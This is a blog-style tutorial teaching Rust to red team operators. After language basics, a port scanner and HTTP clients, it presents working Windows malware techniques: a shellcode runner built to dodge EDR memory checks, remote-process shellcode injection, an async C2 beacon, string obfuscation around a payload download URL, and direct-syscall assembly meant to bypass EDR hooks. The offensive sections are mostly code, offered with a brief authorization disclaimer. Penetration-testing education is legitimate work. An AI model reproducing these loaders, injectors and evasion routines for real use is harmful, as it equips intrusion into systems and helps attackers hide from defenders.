Skip to main content
  1. Posts/

Fearless Concurrency and Memory Safety: A Red Team Operator's Guide to Rust

··5600 words·27 mins· loading · loading · ·
Table of Contents

Greetings, fellow penetration testers and aspiring operators! Today, we will explore the Rust programming language and uncover how this powerful and expressive language can enhance our red teaming and pen-testing adventures. As always, our “Programming Thursdays” aim to provide a wealth of code examples and practical insights into the chosen language. Buckle up and let’s dive into the world of Rust.

Rust is another systems language, but it marks a real shift in how you write low-level code. For a red team operator, it offers the performance of C/C++ with memory safety guarantees that remove entire bug classes we often exploit. That might feel counterintuitive: why use a “safe” language for offensive work? The answer is simple. You get stable, high-speed tools that are less likely to crash during a critical operation. You also get binaries that are harder for defenders to analyze than many C# or Python equivalents. The White House’s 2023 cyber security strategy recommended moving to memory-safe languages like Rust, and the offensive security community has already embraced it.

In this guide, we will cover everything from fundamental syntax to advanced concurrency patterns. We’ll finish by creating a Windows API shellcode runner.


Setting up your Rust environment
#

Before we write any code, let’s get our toolchain set up.

Installing Rust
#

Install and manage Rust via rustup, a command-line tool for managing Rust versions and associated tools.

Linux/macOS:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Windows:

Download and run the installer from rustup.rs.

After installation, confirm cargo (Rust’s package manager and build tool) is in your path:

rustc --version
cargo --version

Essential tools for offensive development
#

# Add the Windows target for cross-compilation from Linux
rustup target add x86_64-pc-windows-gnu

# Install useful components
rustup component add clippy  # Linter
rustup component add rustfmt # Code formatter

For Windows development, you’ll need a linker toolchain. On Linux, install mingw-w64:

# Debian/Ubuntu
sudo apt install mingw-w64

# Arch
sudo pacman -S mingw-w64-gcc

Your first Rust project
#

cargo new my_offensive_tool
cd my_offensive_tool
cargo build --release
cargo run

The Cargo.toml file manages dependencies, and src/main.rs is where your code lives.


Rust language fundamentals
#

Before we can write exploits, we need to understand the basics.

Variables and mutability
#

Rust variables are immutable by default. This is a safety feature.

fn main() {
    let x = 5;           // Immutable by default
    // x = 6;            // ERROR: cannot assign twice to immutable variable

    let mut y = 10;      // Mutable with 'mut' keyword
    y = 20;              // This is allowed

    const MAX_PORTS: u16 = 65535;  // Compile-time constant (SCREAMING_SNAKE_CASE)

    println!("x = {}, y = {}, MAX = {}", x, y, MAX_PORTS);
}

Shadowing
#

You can declare a new variable with the same name, “shadowing” the previous one. This is useful for type conversions:

fn main() {
    let spaces = "   ";           // &str (string slice)
    let spaces = spaces.len();    // Now it's usize (integer)
    println!("Number of spaces: {}", spaces);
}

Data types
#

Rust is statically typed, meaning the compiler must know all types at compile time.

Scalar Types:

fn main() {
    // Integers (default is i32)
    let port: u16 = 443;            // Unsigned 16-bit (0 to 65535)
    let offset: i64 = -0x1000;      // Signed 64-bit
    let byte: u8 = 0x90;            // NOP instruction

    // Floats
    let ratio: f64 = 0.75;

    // Boolean
    let is_admin: bool = true;

    // Character (4 bytes, Unicode scalar value)
    let sample_char: char = 'Z';

    println!("Port: {}, Is Admin: {}, Char: {}", port, is_admin, sample_char);
}

Compound Types:

fn main() {
    // Tuple: fixed-length, mixed types
    let target: (&str, u16, bool) = ("192.168.1.1", 445, true);
    let (ip, port, is_open) = target;  // Destructuring
    println!("{}:{} - Open: {}", ip, port, is_open);

    // Array: fixed-length, same type (stack allocated)
    let shellcode: [u8; 4] = [0x90, 0x90, 0x90, 0xCC];  // NOPs + INT3
    println!("First byte: 0x{:02X}", shellcode[0]);

    // Vector: dynamic length (heap allocated)
    let mut ports: Vec<u16> = Vec::new();
    ports.push(22);
    ports.push(80);
    ports.push(443);
    println!("Ports to scan: {:?}", ports);
}

Operators
#

fn main() {
    // Arithmetic
    let a = 10 + 5;
    let b = 10 - 5;
    let c = 10 * 5;
    let d = 10 / 3;     // Integer division = 3
    let e = 10 % 3;     // Remainder = 1

    // Comparison (returns bool)
    let equal = (5 == 5);
    let not_equal = (5 != 3);
    let greater = (5 > 3);

    // Logical
    let and = true && false;
    let or = true || false;
    let not = !true;

    // Bitwise (crucial for shellcode and protocol work)
    let xor = 0xAA ^ 0x55;      // XOR encryption
    let and_mask = 0xFF & 0x0F; // Masking
    let shift_left = 1 << 3;    // 8
    let shift_right = 0x80 >> 4; // 0x08

    println!("XOR: 0x{:02X}, Shift: {}", xor, shift_left);
}

Control structures
#

If/Else:

fn check_port(port: u16) {
    if port < 1024 {
        println!("Port {} is privileged (requires root)", port);
    } else if port == 3389 {
        println!("Port {} is RDP - interesting!", port);
    } else {
        println!("Port {} is a high port", port);
    }
}

// Rust's if is an expression - it returns a value
fn get_service(port: u16) -> &'static str {
    if port == 22 { "SSH" } else if port == 80 { "HTTP" } else { "Unknown" }
}

Loops:

fn main() {
    // Infinite loop with break
    let mut counter = 0;
    let result = loop {
        counter += 1;
        if counter == 10 {
            break counter * 2;  // Returns 20
        }
    };
    println!("Loop result: {}", result);

    // While loop
    let mut n = 3;
    while n != 0 {
        println!("{}...", n);
        n -= 1;
    }
    println!("LIFTOFF!");

    // For loop (most common, safe)
    let ports = [22, 80, 443, 3389];
    for port in ports.iter() {
        println!("Scanning port {}", port);
    }

    // Range-based for loop
    for port in 1..1024 {  // 1 to 1023 (exclusive)
        // Do something
    }
    for port in 1..=1024 { // 1 to 1024 (inclusive)
        // Do something
    }
}

Functions
#

// Function with parameters and return type
fn calculate_checksum(data: &[u8]) -> u32 {
    let mut sum: u32 = 0;
    for byte in data {
        sum = sum.wrapping_add(*byte as u32);  // Prevent overflow panic
    }
    sum  // No semicolon = implicit return
}

fn main() {
    let payload: [u8; 4] = [0x90, 0x90, 0xCC, 0xC3];
    let checksum = calculate_checksum(&payload);
    println!("Checksum: 0x{:08X}", checksum);
}

The core secret: Ownership and borrowing
#

The single most important concept in Rust is ownership. Rust uses it to manage memory without a garbage collector. The result is fast, predictable binaries with no GC pauses during a time-sensitive exploit.

The rules of ownership
#

  1. Each value in Rust has a variable that’s called its owner.
  2. There can only be one owner at a time.
  3. When the owner goes out of scope, Rust drops the value (deallocated).

Moving versus copying
#

Simple scalar types (integers, floats, booleans) use the Copy trait, so Rust copies them on assignment. Complex types (String, Vec, etc.) move by default.

fn main() {
    // Copy semantics (stack-only data)
    let x: i32 = 5;
    let y = x;      // x is COPIED, both are valid
    println!("x = {}, y = {}", x, y);  // Works!

    // Move semantics (heap data)
    let s1 = String::from("payload");
    let s2 = s1;    // s1 is MOVED to s2, s1 is now INVALID
    // println!("{}", s1);  // ERROR: borrow of moved value
    println!("{}", s2);  // Works!
}

Borrowing with references
#

To use a value without taking ownership, you borrow it using a reference (&).

fn main() {
    let s1 = String::from("payload");
    let len = calculate_length(&s1);  // Pass a reference
    println!("'{}' has {} bytes", s1, len);  // s1 is still valid!
}

fn calculate_length(s: &String) -> usize {
    s.len()  // We can read s, but not change it
}

Mutable borrowing
#

To change a borrowed value, you need a mutable reference (&mut).

fn main() {
    let mut buffer = String::from("GET /");
    append_host(&mut buffer, "target.com");
    println!("{}", buffer);  // "GET / HTTP/1.1\r\nHost: target.com"
}

fn append_host(request: &mut String, host: &str) {
    request.push_str(" HTTP/1.1\r\nHost: ");
    request.push_str(host);
}

The Borrowing Rules:

  1. You can have either one mutable reference or any number of immutable references.
  2. References must always be valid (no dangling pointers).

These rules prevent Data Races at compile time. This is why Rust guarantees “Fearless Concurrency.”

Why this matters for security
#

Ownership and Borrowing prevent:

  • Use After Free: The compiler won’t let you use a value after Rust drops it.
  • Double Free: Only one owner can drop a value.
  • Data Races: Mutable and immutable references cannot coexist.

These are the root causes of many memory corruption exploits. Rust makes them impossible in safe code.


Advanced patterns: Pattern matching and enums
#

Rust’s match statement is like a switch on steroids. Combined with enums, it enables clean logic, which matters when parsing protocols or handling shellcode or exploit responses.

enums with data structures
#

enum ScanResult {
    Open(u16),              // Port number
    Closed(u16),
    Filtered(u16),
    Error(u16, String),     // Port and error message
}

fn handle_result(result: ScanResult) {
    match result {
        ScanResult::Open(port) => println!("[+] Port {} is OPEN", port),
        ScanResult::Closed(port) => println!("[-] Port {} is closed", port),
        ScanResult::Filtered(port) => println!("[?] Port {} is filtered", port),
        ScanResult::Error(port, msg) => eprintln!("[!] Port {} error: {}", port, msg),
    }
}

The Option type
#

Rust does not have null. Instead, it uses Option<T> to represent values that might be absent.

fn find_service(port: u16) -> Option<&'static str> {
    match port {
        22 => Some("SSH"),
        80 => Some("HTTP"),
        443 => Some("HTTPS"),
        445 => Some("SMB"),
        3389 => Some("RDP"),
        _ => None,
    }
}

fn main() {
    let port = 445;
    match find_service(port) {
        Some(service) => println!("Port {} -> {}", port, service),
        None => println!("Port {} -> Unknown service", port),
    }

    // Or use if-let for simpler cases
    if let Some(svc) = find_service(22) {
        println!("SSH detected: {}", svc);
    }
}

The Result type and error handling
#

Rust does not have exceptions. It uses Result<T, E> to represent operations that can fail.

use std::fs::File;
use std::io::{self, Read};

fn read_wordlist(path: &str) -> Result<String, io::Error> {
    let mut file = File::open(path)?;  // ? propagates error if open fails
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    Ok(contents)
}

fn main() {
    match read_wordlist("/usr/share/wordlists/rockyou.txt") {
        Ok(data) => println!("Loaded {} bytes", data.len()),
        Err(e) => eprintln!("Failed to load wordlist: {}", e),
    }
}

The ? operator is syntactic sugar for early return on error. It’s the idiomatic way to handle errors in Rust and keeps your code clean.


Structs and implementations
#

Structs are Rust’s way of creating custom data types with named fields.

struct Target {
    ip: String,
    hostname: Option<String>,
    ports: Vec<u16>,
    is_dc: bool,
}

impl Target {
    // Associated function (like a static method or constructor)
    fn new(ip: &str) -> Self {
        Target {
            ip: ip.to_string(),
            hostname: None,
            ports: Vec::new(),
            is_dc: false,
        }
    }

    // Method (takes &self or &mut self)
    fn add_port(&mut self, port: u16) {
        if !self.ports.contains(&port) {
            self.ports.push(port);
        }
    }

    fn has_smb(&self) -> bool {
        self.ports.contains(&445)
    }

    fn display(&self) {
        let name = self.hostname.as_deref().unwrap_or("Unknown");
        println!("[Target: {} ({})]", self.ip, name);
        println!("  Ports: {:?}", self.ports);
        println!("  Is DC: {}", self.is_dc);
    }
}

fn main() {
    let mut target = Target::new("192.168.1.10");
    target.hostname = Some("DC01.corp.local".to_string());
    target.add_port(445);
    target.add_port(88);
    target.add_port(389);
    target.is_dc = true;

    target.display();

    if target.has_smb() {
        println!("[+] SMB is open - consider relay attacks!");
    }
}

Concurrency: A multi-threaded port scanner
#

Rust guarantees “Fearless Concurrency.” It prevents data races at compile time through its ownership system. Let’s build a practical tool.

Basic threading with channels
#

use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::mpsc::{channel, Sender};
use std::thread;
use std::time::Duration;

fn scan_port(tx: Sender<u16>, ip: IpAddr, port: u16) {
    let addr = SocketAddr::new(ip, port);
    // Timeout is critical for network scanning
    if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
        // Send the open port back to the main thread
        tx.send(port).expect("Channel send failed");
    }
}

fn main() {
    let target: IpAddr = "127.0.0.1".parse().expect("Invalid IP");
    let (tx, rx) = channel();  // Multi-producer, single-consumer channel

    let mut handles = Vec::new();

    // Scan first 1024 ports
    for port in 1..=1024 {
        let tx_clone = tx.clone();
        let handle = thread::spawn(move || {
            scan_port(tx_clone, target, port);
        });
        handles.push(handle);
    }

    // Drop original sender so receiver knows when to stop
    drop(tx);

    // Wait for all threads to complete
    for handle in handles {
        handle.join().expect("Thread panicked");
    }

    // Collect and print results
    println!("\n[+] Open Ports:");
    let mut open_ports: Vec<u16> = rx.iter().collect();
    open_ports.sort();
    for port in open_ports {
        println!("    {}", port);
    }
}

Thread pooling with rayon
#

Spawning a thread per port is inefficient for 65k ports. Use a thread pool:

# Cargo.toml
[dependencies]
rayon = "1.8"
use rayon::prelude::*;
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::Mutex;
use std::time::Duration;

fn main() {
    let target: IpAddr = "127.0.0.1".parse().unwrap();
    let open_ports = Mutex::new(Vec::new());

    // Parallel iteration over all ports
    (1..=65535_u16).into_par_iter().for_each(|port| {
        let addr = SocketAddr::new(target, port);
        if TcpStream::connect_timeout(&addr, Duration::from_millis(100)).is_ok() {
            open_ports.lock().unwrap().push(port);
        }
    });

    let mut results = open_ports.into_inner().unwrap();
    results.sort();

    println!("[+] Open Ports on {}:", target);
    for port in results {
        println!("    {}", port);
    }
}

The rayon crate handles thread pool management, work stealing, and load balancing automatically. This is production-quality parallelism in about 15 lines of code.


Networking: TCP and HTTP clients
#

For red team tools, we often need low-level network access.

Raw TCP client
#

use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;

fn grab_banner(ip: &str, port: u16) -> Result<String, Box<dyn std::error::Error>> {
    let addr = format!("{}:{}", ip, port);
    let mut stream = TcpStream::connect_timeout(
        &addr.parse()?,
        Duration::from_secs(5)
    )?;

    stream.set_read_timeout(Some(Duration::from_secs(3)))?;

    // Some services send a banner immediately (SSH, FTP, SMTP)
    let mut buffer = [0u8; 1024];
    let n = stream.read(&mut buffer)?;

    Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}

fn main() {
    match grab_banner("127.0.0.1", 22) {
        Ok(banner) => println!("[+] SSH Banner:\n{}", banner.trim()),
        Err(e) => eprintln!("[-] Error: {}", e),
    }
}

HTTP client with reqwest
#

For higher-level HTTP work, use the reqwest crate:

# Cargo.toml
[dependencies]
reqwest = { version = "0.11", features = ["blocking"] }
use reqwest::blocking::Client;
use std::time::Duration;

fn check_url(url: &str) -> Result<(u16, usize), reqwest::Error> {
    let client = Client::builder()
        .timeout(Duration::from_secs(10))
        .danger_accept_invalid_certs(true)  // Ignore TLS errors for internal testing
        .build()?;

    let resp = client.get(url).send()?;
    let status = resp.status().as_u16();
    let body = resp.text()?;

    Ok((status, body.len()))
}

fn main() {
    let urls = vec![
        "http://localhost/",
        "http://localhost/admin",
        "http://localhost/robots.txt",
    ];

    for url in urls {
        match check_url(url) {
            Ok((status, len)) => println!("[{}] {} ({} bytes)", status, url, len),
            Err(_) => println!("[ERR] {}", url),
        }
    }
}

Red team special: Unsafe Rust and Windows API
#

Sometimes, you need to bypass Rust’s safety checks to interact directly with the OS kernel, handle raw memory, or call foreign functions. This is where unsafe blocks come in.

What is unsafe?
#

The unsafe keyword unlocks four abilities:

  1. Dereference raw pointers.
  2. Call an unsafe function or method.
  3. Access or change a mutable static variable.
  4. Create an unsafe trait.

unsafe does not turn off the borrow checker. It gives you access to operations the compiler cannot verify.

The windows crate
#

Microsoft officially supports Rust on Windows and publishes the windows crate, which provides safe (and unsafe) bindings to the entire Windows API.

# Cargo.toml
[dependencies]
windows = { version = "0.58", features = [
  "Win32_Foundation",
  "Win32_System_Memory",
  "Win32_System_Threading",
] }

shellcode runner (proof of concept)
#

This example allocates executable memory, copies shellcode, and runs the payload. This is a basic technique for malware development.

[!WARNING] This is for educational purposes on systems you own or have explicit authorization to test. Deploying malware without authorization is illegal.

#![cfg(target_os = "windows")]

use std::ptr;
use windows::Win32::System::Memory::{
    VirtualAlloc, VirtualProtect,
    MEM_COMMIT, MEM_RESERVE,
    PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS,
};

/// Allocates memory, copies shellcode, and executes it.
/// Uses read-write to read-execute to avoid read-write-execute pages (EDR red flag).
fn execute_shellcode(shellcode: &[u8]) -> Result<(), &'static str> {
    unsafe {
        // 1. Allocate Read-Write memory
        let addr = VirtualAlloc(
            None,                           // Let the system choose the address
            shellcode.len(),                // Size of the allocation
            MEM_COMMIT | MEM_RESERVE,       // Commit and reserve pages
            PAGE_READWRITE,                 // Start read-write (not executable)
        );

        if addr.is_null() {
            return Err("VirtualAlloc failed");
        }

        // 2. Copy shellcode into the allocated memory
        ptr::copy_nonoverlapping(
            shellcode.as_ptr(),
            addr as *mut u8,
            shellcode.len(),
        );

        // 3. Change protection from read-write to read-execute
        // This avoids the read-write-execute red flag that EDRs look for
        let mut old_protect = PAGE_PROTECTION_FLAGS::default();
        let protect_result = VirtualProtect(
            addr,
            shellcode.len(),
            PAGE_EXECUTE_READ,
            &mut old_protect,
        );

        if protect_result.is_err() {
            return Err("VirtualProtect failed");
        }

        // 4. Cast memory to a function pointer and execute
        let exec_fn: extern "system" fn() = std::mem::transmute(addr);
        exec_fn();

        Ok(())
    }
}

fn main() {
    // Example: x64 Windows shellcode for calc.exe (replace with your payload)
    // This is a stub - real shellcode would be generated by msfvenom or similar
    let shellcode: [u8; 4] = [
        0x90,  // NOP
        0x90,  // NOP
        0xCC,  // INT3 (breakpoint - for debugging)
        0xC3,  // RET
    ];

    println!("[*] Allocating memory and executing shellcode...");
    match execute_shellcode(&shellcode) {
        Ok(()) => println!("[+] shellcode executed successfully"),
        Err(e) => eprintln!("[-] Error: {}", e),
    }
}

Key OPSEC considerations (read-write and read-execute)
#

  1. Avoid read-write-execute pages: This example uses PAGE_READWRITE for copying, then VirtualProtect to flip to PAGE_EXECUTE_READ. This is stealthier than allocating PAGE_EXECUTE_READWRITE directly.
  2. Encrypt your shellcode: Embed encrypted shellcode and decrypt it in memory before execution to evade static signature detection.
  3. syscall evasion: Some EDR tooling hooks user-mode API calls. Advanced techniques call NtAllocateVirtualMemory directly or use syscalls.
  4. Compilation profile: Use --release for optimized binaries and consider stripping symbols.

Asynchronous Rust: Building High-Performance C2
#

While the previous threading examples used standard OS threads, modern high-performance Rust relies on asynchronous programming. If you are building a Command and Control (C2) server that needs to handle thousands of concurrent implants, or an agent that needs to perform multiple tasks (keylogging, screen capture, network sniffing) without blocking, async/await is the way to go.

The standard library provides the traits, but you need a runtime to execute async code. The de-facto standard is Tokio.

The Async C2 Beacon Stub
#

Here is an example of an asynchronous HTTP beacon that sleeps efficiently (without blocking a thread) and executes commands.

[dependencies]
tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.11", features = ["json"] }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
use reqwest::Client;
use serde::{Deserialize, Serialize};
use std::time::Duration;
use tokio::time::sleep;

#[derive(Serialize, Deserialize, Debug)]
struct Task {
    id: String,
    command: String,
    args: Vec<String>,
}

#[derive(Serialize, Deserialize, Debug)]
struct Response {
    id: String,
    output: String,
}

const C2_URL: &str = "http://127.0.0.1:8080/api/beacon";
const AGENT_ID: &str = "agent-x-42";

async fn fetch_task(client: &Client) -> Result<Option<Task>, reqwest::Error> {
    // Send a heartbeat and ask for tasks
    let resp = client.get(format!("{}/{}", C2_URL, AGENT_ID))
        .send()
        .await?;

    if resp.status().is_success() {
        let task = resp.json::<Task>().await?;
        Ok(Some(task))
    } else {
        Ok(None)
    }
}

async fn send_result(client: &Client, task_id: &str, output: &str) -> Result<(), reqwest::Error> {
    let response = Response {
        id: task_id.to_string(),
        output: output.to_string(),
    };
    
    client.post(format!("{}/response", C2_URL))
        .json(&response)
        .send()
        .await?;
        
    Ok(())
}

#[tokio::main]
async fn main() {
    let client = Client::new();
    let sleep_interval = Duration::from_secs(5);

    println!("[*] Agent {} starting...", AGENT_ID);

    loop {
        // Beacon
        match fetch_task(&client).await {
            Ok(Some(task)) => {
                println!("[+] Received task: {}", task.command);
                
                // Execute (Simulated)
                let output = if task.command == "whoami" {
                    "nt authority\\system".to_string()
                } else {
                    format!("Unknown command: {}", task.command)
                };

                // Send result
                if let Err(e) = send_result(&client, &task.id, &output).await {
                    eprintln!("[-] Failed to send result: {}", e);
                }
            }
            Ok(None) => {
                // No task, go back to sleep
            }
            Err(e) => {
                eprintln!("[-] Connection error: {}", e);
            }
        }

        // Non-blocking sleep: yields the thread to other tasks
        sleep(sleep_interval).await;
    }
}

This code is fundamentally different from the threaded port scanner. The sleep(sleep_interval).await call yields execution back to the Tokio runtime. This means a single OS thread could theoretically manage hundreds of these state machines. For a C2 server handling thousands of connections, this architecture is mandatory.


Evasion Techniques: Process Injection
#

The “shellcode runner” we built earlier injected code into its own process. While useful for testing, real-world operators often need to inject into remote processes (like explorer.exe or notepad.exe) to hide their presence and survive the termination of the initial dropper.

Let’s look at how to implement Classic DLL Injection or Remote Shellcode Injection using the windows crate.

Remote Thread Injection
#

This technique involves:

  1. Getting a handle to a target process (OpenProcess).
  2. Allocating memory in that process (VirtualAllocEx).
  3. Writing our payload (WriteProcessMemory).
  4. Creating a thread in that process to run the payload (CreateRemoteThread).
use std::ffi::c_void;
use std::ptr;
use windows::Win32::Foundation::{CloseHandle, FALSE};
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Memory::{
    VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
};
use windows::Win32::System::Threading::{
    CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS,
};

fn inject_shellcode(pid: u32, shellcode: &[u8]) -> Result<(), String> {
    unsafe {
        // 1. Open the target process
        let process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
            .map_err(|e| format!("OpenProcess failed: {}", e))?;

        if process_handle.is_invalid() {
            return Err("Invalid process handle".into());
        }

        // 2. Allocate memory in the target process
        let remote_addr = VirtualAllocEx(
            process_handle,
            None,
            shellcode.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE, // Note: RWX is a major IOC!
        );

        if remote_addr.is_null() {
            CloseHandle(process_handle);
            return Err("VirtualAllocEx failed".into());
        }

        // 3. Write shellcode
        let mut bytes_written = 0;
        let write_result = WriteProcessMemory(
            process_handle,
            remote_addr,
            shellcode.as_ptr() as *const c_void,
            shellcode.len(),
            Some(&mut bytes_written),
        );

        if write_result.is_err() || bytes_written != shellcode.len() {
            CloseHandle(process_handle);
            return Err("WriteProcessMemory failed".into());
        }

        // 4. Create remote thread
        let thread_handle = CreateRemoteThread(
            process_handle,
            None,
            0,
            Some(std::mem::transmute(remote_addr)),
            None,
            0,
            None,
        );

        if thread_handle.is_err() {
            CloseHandle(process_handle);
            return Err("CreateRemoteThread failed".into());
        }

        // Cleanup
        CloseHandle(thread_handle.unwrap());
        CloseHandle(process_handle);
        
        Ok(())
    }
}

[!CAUTION] OPSEC Warning: The use of PAGE_EXECUTE_READWRITE (RWX) memory is a massive red flag for any EDR. A better approach (standard in modern loaders) is:

  1. Allocate as PAGE_READWRITE.
  2. Write the shellcode.
  3. Use VirtualProtectEx to flip it to PAGE_EXECUTE_READ.

Furthermore, APIs like CreateRemoteThread are heavily hooked. Modern Rust malware often uses Direct Syscalls (using crates like windows-syscalls) to bypass user-mode hooks entirely.


Obfuscation: Hiding Your Intent
#

Strings are the easiest way for an analyst to reverse-engineer your binary. If your tool contains strings like cmd.exe, OpenProcess, or http://bad-c2.com, strings.exe will reveal them instantly.

Rust has excellent compile-time metaprogramming capabilities (macros) that allow us to encrypt strings at compile time and decrypt them only at runtime when needed.

The obfstr Crate
#

[dependencies]
obfstr = "0.4"
use obfstr::obfstr;

fn main() {
    // The string "powershell.exe" never appears in the binary
    let shell = obfstr!("powershell.exe");
    println!("Launching: {}", shell);

    // It works for static contexts too
    let url = obfstr!("https://very-legit-domain.com/payload.bin");
    download(url);
}

This crate uses XOR encryption with a random key generated at compile time. Every build produces a binary with different byte signatures for these strings.

API Hashing
#

Another common technique is hiding imports. Instead of linking directly to MessageBoxA (which puts it in the Import Address Table), we can resolve it dynamically using a hash of its name.

While implementing a full API hashing routine is beyond this basic guide, the logic in Rust is identical to C:

  1. Walk the PEB (Process Environment Block).
  2. Find kernel32.dll.
  3. Walk its Export Address Table.
  4. Hash each function name.
  5. If hash matches target, call the function pointer.

Rust’s vobfuscator crate creates a similar effect by obfuscating control flow, though it is currently experimental.


Advanced Evasion: Direct System Calls
#

In the previous process injection example, we used high-level Windows APIs like OpenProcess. These functions reside in kernel32.dll, which eventually calls NtOpenProcess in ntdll.dll, which then executes the syscall CPU instruction to transition to the kernel.

Modern EDRs hook ntdll.dll. They overwrite the start of NtOpenProcess with a jmp instruction that redirects execution to their own inspection DLL. If we call OpenProcess, we jump right into the EDR’s lap.

To bypass this, we can use Direct System Calls. We skip ntdll.dll entirely and execute the syscall instruction ourselves.

Implementing Direct Syscalls in Rust
#

Rust’s support for inline assembly (core::arch::asm!) makes this surprisingly ergonomic.

First, we need to know the System Service Number (SSN) for the function we want to call (e.g., NtAllocateVirtualMemory). Note that SSNs change between Windows versions, so robust malware resolves them dynamically (a technique called “Hell’s Gate” or “Halo’s Gate”). For this example, we’ll use a hardcoded SSN for Windows 10.

use std::arch::asm;

/// A raw system call wrapper for NtAllocateVirtualMemory (x64)
unsafe fn my_nt_allocate_virtual_memory(
    process_handle: isize,
    base_address: *mut *mut std::ffi::c_void,
    zero_bits: usize,
    region_size: *mut usize,
    allocation_type: u32,
    protect: u32,
) -> i32 {
    let mut status: i32;
    
    // The SSN for NtAllocateVirtualMemory on Windows 10 1903+ is often 0x18
    // In reality, you must resolve this dynamically!
    let ssn: u32 = 0x18; 

    asm!(
        "mov r10, rcx",
        "mov eax, {0:e}",
        "syscall",
        in(reg) ssn,
        in("rcx") process_handle,
        in("rdx") base_address,
        in("r8") zero_bits,
        in("r9") region_size,
        lateout("rax") status,
        // The remaining arguments are passed on the stack per x64 calling convention
        // This is simplified; handling >4 args in inline asm is tricky.
        // For production, use the `syscalls` crate.
    );

    status
}

This code is invisible to user-mode hooks. The EDR monitoring ntdll.dll will never see this call happen.

The Rust community has wrapped this complexity in crates like windows-syscalls or freshycalls, which allow you to define the prototypes and handle the SSN resolution automatically.


Building Robust Tools: CLI Argument Parsing
#

Scripts are fine for quick hacks, but professional tools need robust interfaces. If you are building a scanner or an implant generator, you don’t want to parse std::env::args() manually.

Enter Clap (Command Line Argument Parser). It is the standard for Rust CLIs.

[dependencies]
clap = { version = "4.0", features = ["derive"] }
use clap::{Parser, Subcommand};

#[derive(Parser)]
#[command(author, version, about = "Rust Red Team Toolset")]
struct Cli {
    /// Target IP address or hostname
    #[arg(short, long)]
    target: String,

    /// Target port
    #[arg(short, long, default_value_t = 80)]
    port: u16,

    /// Mode of operation
    #[command(subcommand)]
    command: Option<Commands>,
}

#[derive(Subcommand)]
enum Commands {
    /// Perform a port scan
    Scan {
        /// Scan all 65535 ports
        #[arg(long)]
        full: bool,
    },
    /// Exploit the target
    Exploit {
        /// Payload type (shell/calc/beacon)
        #[arg(short, long)]
        payload: String,
    },
}

fn main() {
    let cli = Cli::parse();

    println!("[*] Target: {}", cli.target);
    println!("[*] Port: {}", cli.port);

    match &cli.command {
        Some(Commands::Scan { full }) => {
            if *full {
                println!("[*] performing FULL scan...");
            } else {
                println!("[*] performing QUICK scan...");
            }
        }
        Some(Commands::Exploit { payload }) => {
            println!("[!] Launching exploit with payload: {}", payload);
        }
        None => {
            println!("[*] No command specified, running default check...");
        }
    }
}

When you compile and run this with --help, Clap automatically generates a beautiful help message:

Rust Red Team Toolset 1.0
UncleSp1d3r
Red Team Toolset

USAGE:
    tool [OPTIONS] --target <TARGET>

OPTIONS:
    -t, --target <TARGET>    Target IP address or hostname
    -p, --port <PORT>        Target port [default: 80]
    -h, --help               Print help
    -V, --version            Print version

This level of polish distinguishes a professional tool from a hacked-together script. It reduces operator error during engagements.


Professional Error Handling: anyhow and thiserror
#

In the Result examples above, we mostly used std::io::Error or simple strings. In a complex application, you will encounter IO errors, Network errors, Serialization errors, and custom logic errors.

For applications (like your CLI tool), the anyhow crate is the standard. It allows you to mix and match error types easily.

use anyhow::{Context, Result};

fn connect_to_c2() -> Result<()> {
    // Context adds a message to the error chain
    let config = std::fs::read_to_string("config.json")
        .context("Failed to read C2 configuration file")?;
    
    // ... parse json ...
    
    Ok(())
}

fn main() {
    if let Err(e) = connect_to_c2() {
        eprintln!("Error: {:?}", e);
        // Prints: Error: Failed to read C2 configuration file
        // Caused by: The system cannot find the file specified. (os error 2)
    }
}

For libraries (code you intend to share), use thiserror to define custom error types that implement the std::error::Error trait automatically.


Foreign Function Interface (FFI): Talking to C
#

Rust plays very well with C. This is crucial because the entire Linux and Windows operating system APIs are C interfaces.

Calling C from Rust
#

Suppose you have a legacy C library for a proprietary protocol you want to fuzz.

// legacy.c
int risky_function(char* input, int len) {
    // ...
    return 0;
}
// main.rs
use std::ffi::CString;
use std::os::raw::{c_char, c_int};

// Declare the external function
#[link(name = "legacy")]
extern "C" {
    fn risky_function(input: *const c_char, len: c_int) -> c_int;
}

fn call_legacy_code(data: &str) {
    let c_str = CString::new(data).expect("CString::new failed");
    unsafe {
        risky_function(c_str.as_ptr(), data.len() as c_int);
    }
}

Calling Rust from C
#

You can also write a shared library (.dll or .so) in Rust that can be loaded by a C program (or Python with ctypes, or a C# application).

// lib.rs
#[no_mangle]
pub extern "C" fn rust_entry_point() {
    println!("Hello from Rust DLL!");
}

Compile this with crate-type = ["cdylib"] in Cargo.toml, and you have a DLL that can be injected into processes using standard injection techniques.


The ecosystem for cargo and offensive tools
#

Rust’s package manager, cargo, is widely considered the best in any language ecosystem. Combined with crates.io (the package registry), you can add powerful functionality with a single line in Cargo.toml.

Useful crates for offensive development
#

CratePurpose
reqwestHTTP client (sync and async)
tokioAsynchronous runtime for high-performance I/O
clapCommand-line argument parsing
serde / serde_jsonSerialization/deserialization
rayonData parallelism (thread pools)
windowsOfficial Windows API bindings
nixUnix/Linux system calls
pcapPacket capture
dns-lookupDNS resolution
base64 / hexEncoding utilities
ring / aes-gcmCryptography
goblinPE/ELF/Mach-O binary parsing

Notable offensive Rust projects
#

  1. RustScan: The modern port scanner. Claims to scan 65k ports in seconds by adaptively adjusting ulimit and using asynchronous I/O.
  2. Feroxbuster: A high-speed recursive content discovery tool (directory busting). Faster than dirb or gobuster.
  3. Ripgrep (rg): Not an offensive tool, but a fast grep alternative. It’s useful for log analysis and codebase searching.
  4. Haylxon: High-performance screenshotting tool for web reconnaissance.
